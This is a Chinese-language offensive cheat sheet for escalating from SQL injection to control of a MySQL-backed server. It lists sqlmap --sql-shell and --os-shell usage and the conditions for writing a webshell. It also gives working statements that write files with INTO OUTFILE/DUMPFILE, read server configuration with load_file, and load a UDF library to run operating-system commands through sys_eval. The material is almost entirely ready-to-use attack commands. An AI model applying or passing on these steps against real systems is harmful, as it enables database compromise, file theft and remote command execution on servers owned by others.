命令
sqlmap -u --sql-shell
之后就和sql中的命令一样
文件路径
select @@datadir;
查看版本
select @@version;
读写文件
常见的找绝对路径方法:
网页报错信息
phpinfo、探针
数据库查询、暴力破解
参看:常用的绝对路径收集
查看php是否开启魔术引导
测试方法:
特殊字符测试是否转义成反斜杠
探针、phpinfo等
mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex,必须有引号包裹
# 高版本只允许操作secure_file_priv变量指定目录下的文件
select @@secure_file_priv;
# 写文件
# into dumpfile用于二进制文件,
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
# into outfile 主要的目的是导出 文本文件
select '123' into outfile /var/www/1.html;
#读文件
select load_file('/etc/httpd/conf/httpd.conf');
# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分
substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20);
udf
#找到现有的自定义函数
select * from mysql.func;
# MySQL 5.0.67 开始udf需要在指定路径下
select @@plugin_dir;
#导入udf库文件
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
#创建自定义函数
create function sys_eval returns string soname 'mysqludf.so';
# 执行自定义函数
select sys_eval('whoami');
下一步使用sqlmap --os-shell
可以执行命令
下图是网站的绝对路径